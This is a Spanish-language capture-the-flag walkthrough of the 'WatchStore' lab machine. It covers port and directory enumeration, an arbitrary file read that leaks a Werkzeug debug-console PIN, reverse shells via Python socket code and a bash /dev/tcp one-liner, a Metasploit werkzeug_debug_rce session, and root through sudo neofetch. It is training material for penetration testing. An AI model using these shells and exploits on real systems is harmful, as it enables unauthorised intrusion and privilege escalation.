Recopilación de Información

Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.100.80
PING 192.168.100.80 (192.168.100.80) 56(84) bytes of data.
64 bytes from 192.168.100.80: icmp_seq=1 ttl=64 time=1.63 ms
64 bytes from 192.168.100.80: icmp_seq=2 ttl=64 time=0.841 ms
64 bytes from 192.168.100.80: icmp_seq=3 ttl=64 time=0.884 ms
64 bytes from 192.168.100.80: icmp_seq=4 ttl=64 time=0.973 ms

--- 192.168.100.80 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3478ms
rtt min/avg/max/mdev = 0.841/1.083/1.634/0.321 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.80 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-03 11:06 CST
Initiating ARP Ping Scan at 11:06
Scanning 192.168.100.80 [1 port]
Completed ARP Ping Scan at 11:06, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:06
Scanning 192.168.100.80 [65535 ports]
Discovered open port 8080/tcp on 192.168.100.80
Discovered open port 22/tcp on 192.168.100.80
Completed SYN Stealth Scan at 11:06, 7.22s elapsed (65535 total ports)
Nmap scan report for 192.168.100.80
Host is up, received arp-response (0.00066s latency).
Scanned at 2025-09-03 11:06:18 CST for 7s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
ParámetrosDescripción
-p-Para indicarle un escaneo en ciertos puertos.
–openPara indicar que aplique el escaneo en los puertos abiertos.
-sSPara indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-ratePara indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvvPara indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-nPara indicar que no se aplique resolución dns para agilizar el escaneo.
-PnPara indicar que se omita el descubrimiento de hosts.
-oGPara indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Veo solamente dos puertos abiertos y me da curiosidad que esté abierto el puerto 8080.

Escaneo de Servicios

nmap -sCV -p 22,8080 192.168.100.80 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-03 11:06 CST
Nmap scan report for 192.168.100.80
Host is up (0.00080s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)

| ssh-hostkey: 
|   256 a2:75:c3:4d:db:a0:60:eb:e5:23:7f:47:57:33:4d:ef (ECDSA)
|_  256 13:af:f5:07:70:d0:5d:36:02:d7:60:2e:fa:ec:94:df (ED25519)
8080/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.11.2)

| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/2.1.2 Python/3.11.2
|_http-title: Did not follow redirect to http://watchstore.thl:8080/
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.08 seconds
ParámetrosDescripción
-sCPara indicar un lanzamiento de scripts básicos de reconocimiento.
-sVPara identificar los servicios/versión que están activos en los puertos que se analicen.
-pPara indicar puertos específicos.
-oNPara indicar que el output se guarde en un fichero. Lo llame targeted.

El escaneo muestra que al analizar la página web, nos redirige a un dominio, lo que nos da a entender que se está aplicando Virtual Hosting.

Podemos registrar dicho dominio en el /etc/hosts:

echo "192.168.100.80 watchstore.thl" >> /etc/hosts

Además, vemos que se está utilizando Werkzeug, lo que ya nos da una idea a que puede ser vulnerable.

Analicemos la página web.

Análisis de Vulnerabilidades

Analizando Página Web del Puerto 8080

Entremos:

Es una tienda de relojes.

En mi caso, Wappalizer no detecta las tecnologías usadas, así que usemos whatweb:

whatweb http://watchstore.thl:8080
http://watchstore.thl:8080 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.11.2], IP[192.168.100.80], Python[3.11.2], Title[WatchStore - Inicio], Werkzeug[2.1.2]

No hay algo a destacar.

Moviendonos un poco dentro de la página, solamente vemos un directorio que muestra todos los productos de la tienda:

No encontraremos algo más.

Apliquemos Fuzzing para ver si hay algún directorio oculto.

Fuzzing

Primero usemos la herramienta ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://watchstore.thl:8080/FUZZ -t 300

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://watchstore.thl:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

products                [Status: 200, Size: 772, Words: 243, Lines: 29, Duration: 76ms]
read                    [Status: 500, Size: 13133, Words: 1873, Lines: 218, Duration: 269ms]
console                 [Status: 200, Size: 1563, Words: 330, Lines: 46, Duration: 342ms]
                        [Status: 200, Size: 1166, Words: 426, Lines: 38, Duration: 1063ms]
:: Progress: [220545/220545] :: Job [1/1] :: 300 req/sec :: Duration: [0:12:44] :: Errors: 137 ::
ParámetrosDescripción
-wPara indicar el diccionario a usar en el fuzzing.
-uPara indicar la URL a utilizar.
-tPara indicar la cantidad de hilos a usar.

Ahora probemos con gobuster:

gobuster dir -u http://watchstore.thl:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://watchstore.thl:8080/
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/products             (Status: 200) [Size: 772]
/read                 (Status: 500) [Size: 13133]
/console              (Status: 200) [Size: 1563]
...
ParámetrosDescripción
-uPara indicar la URL a utilizar.
-wPara indicar el diccionario a usar en el fuzzing.
-tPara indicar la cantidad de hilos a usar.

En ambos casos, obtuvimos dos directorios nuevos que son: /read y /console.

El directorio /console es la consola de Python para debug de Werkzeug.

Nos pedirá un PIN de acceso que no tenemos:

Y el directorio /read nos varias pistas y una vulnerabilidad que podemos aplicar.

Explotación de Vulnerabilidades

Aplicando Path Traversal + Arbitrary File Read en Directorio Web read y Abusando de Consola de Python de Werkzeug para Obtener Reverse Shell

Entra al directorio /read:

Nos muestra un error y explica que se necesita el parámetro id.

Si se lo damos y le asignamos un valor random, nos da esta respuesta:

Tenemos que darle un archivo a leer.

Probemos con el /etc/passwd:

Excelente, podemos leerlo y vemos que hay un usuario llamado relox.

Ahora probemos con /etc/hosts:

Muy bien, con esto comprobamos que podemos leer cualquier archivo si conocemos su ruta exacta, lo que sería la vulnerabilidad Path Traversal + Arbitrary File Read.

De acuerdo con el siguiente blog de HackTricks:

Es posible que podamos encontrar el PIN que protege a la consola de Python de Werkzeug.

Si volvemos al directorio /read sin darle el parámetro id, nos mostrará la ruta /home/relox/watchstore/app.py:

Resulta que ese script app.py es el que crea y ejecuta la página web, y si lo leemos, encontraremos el PIN de la consola:

Si introducimos ese PIN, ya tendremos acceso a la consola de Python:

Desde aquí podemos ejecutar comandos:

Por consiguiente, podremos mandarnos una Reverse Shell.

Obteniendo Reverse Shell desde Consola de Python de Werkzeug

Inicia un listener con netcat:

nc -nvlp 443
listening on [any] 443 ...

Desde la consola:

  • Ejecuta los siguientes comandos uno por uno para que funcione:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("Tu_IP",443));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); import pty; pty.spawn("bash");
  • Puedes ocupar esta forma más sencilla donde solo importamos la librería OS y ejecutamos la Reverse Shell:
import os;
os.system('bash -c "bash -i >& /dev/tcp/Tu_IP/443 0>&1"')

Revisa la netcat:

nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.100.80] 58402
bash: no se puede establecer el grupo de proceso de terminal (483): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
relox@thehackerslabs-watchstore:~/watchstore$ whoami
whoami
relox

Estamos dentro y somos el usuario relox.

Obtengamos una sesión interactiva:

# Paso 1:
script /dev/null -c bash

# Paso 2:
CTRL + Z

# Paso 3:
stty raw -echo; fg

# Paso 4:
reset -> xterm

# Paso 5:
export TERM=xterm && export SHELL=bash && stty rows 51 columns 189

Encontraremos la flag del usuario en el directorio /home/relox:

relox@thehackerslabs-watchstore:~/watchstore$ cd ..
relox@thehackerslabs-watchstore:~$ ls
user.txt  watchstore
relox@thehackerslabs-watchstore:~$ cat user.txt
...

Obteniendo Sesión de Meterpreter con Módulo werkzeug_debug_rce de Metasploit

Para que este módulo funcione, necesitamos forzosamente el PIN de acceso a la consola de Python.

Inicia y carga el módulo exploit/multi/http/werkzeug_debug_rce:

msfconsole -q
msf > use exploit/multi/http/werkzeug_debug_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(multi/http/werkzeug_debug_rce) >

Configúralo:

msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.100.80
RHOSTS => 192.168.100.80
msf exploit(multi/http/werkzeug_debug_rce) > set RPORT 8080
RPORT => 8080
msf exploit(multi/http/werkzeug_debug_rce) > set VHOST watchstore.thl
VHOST => watchstore.thl
msf exploit(multi/http/werkzeug_debug_rce) > set AUTHMODE known-PIN
AUTHMODE => known-PIN
msf exploit(multi/http/werkzeug_debug_rce) > set PIN ***-***-***
PIN => ***-***-***

Ejecuta el módulo:

msf exploit(multi/http/werkzeug_debug_rce) > exploit
[*] Started reverse TCP handler on Tu_IP:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Retrieved authentication cookie: __wzd29d2d831e1ca74a39770=085495032|b6fa012039ca;
[*] Sending stage (24772 bytes) to 192.168.100.80
[*] Meterpreter session 1 opened (Tu_IP:4444 -> 192.168.100.80:46910) at 2025-09-03 12:54:17 -0600

meterpreter > getuid
Server username: relox
meterpreter > sysinfo
Computer        : thehackerslabs-watchstore
OS              : Linux 6.1.0-35-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.137-1 (2025-05-07)
Architecture    : x64
System Language : es_ES
Meterpreter     : python/linux

Estamos dentro y tenemos la sesión de Meterpreter.

Post Explotación

Escalando Privilegios Abusando de Permisos Sudoers Sobre Binario neofetch

Veamos qué privilegios tiene nuestro usuario:

relox@thehackerslabs-watchstore:~$ sudo -l
sudo: unable to resolve host thehackerslabs-watchstore: Nombre o servicio desconocido
Matching Defaults entries for relox on thehackerslabs-watchstore:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XDG_CONFIG_HOME, use_pty

User relox may run the following commands on thehackerslabs-watchstore:
    (root) NOPASSWD: /usr/bin/neofetch

Genial, podemos usar el binario neofetch como Root.

Encontraremos una forma de escalar privilegios usando este binario en la guía de GTFOBins:

Usaremos el siguiente comando:

Probémoslo:

relox@thehackerslabs-watchstore:~$ TF=$(mktemp) && echo 'exec /bin/bash' >$TF
relox@thehackerslabs-watchstore:~$ sudo neofetch --config $TF
sudo: unable to resolve host thehackerslabs-watchstore: Nombre o servicio desconocido
root@thehackerslabs-watchstore:/home/relox# whoami
root

Somos Root.

Busquemos la última flag:

root@thehackerslabs-watchstore:/home/relox# cd /root
root@thehackerslabs-watchstore:~# ls
root.txt
root@thehackerslabs-watchstore:~# cat root.txt
...

Y con esto, terminamos la máquina.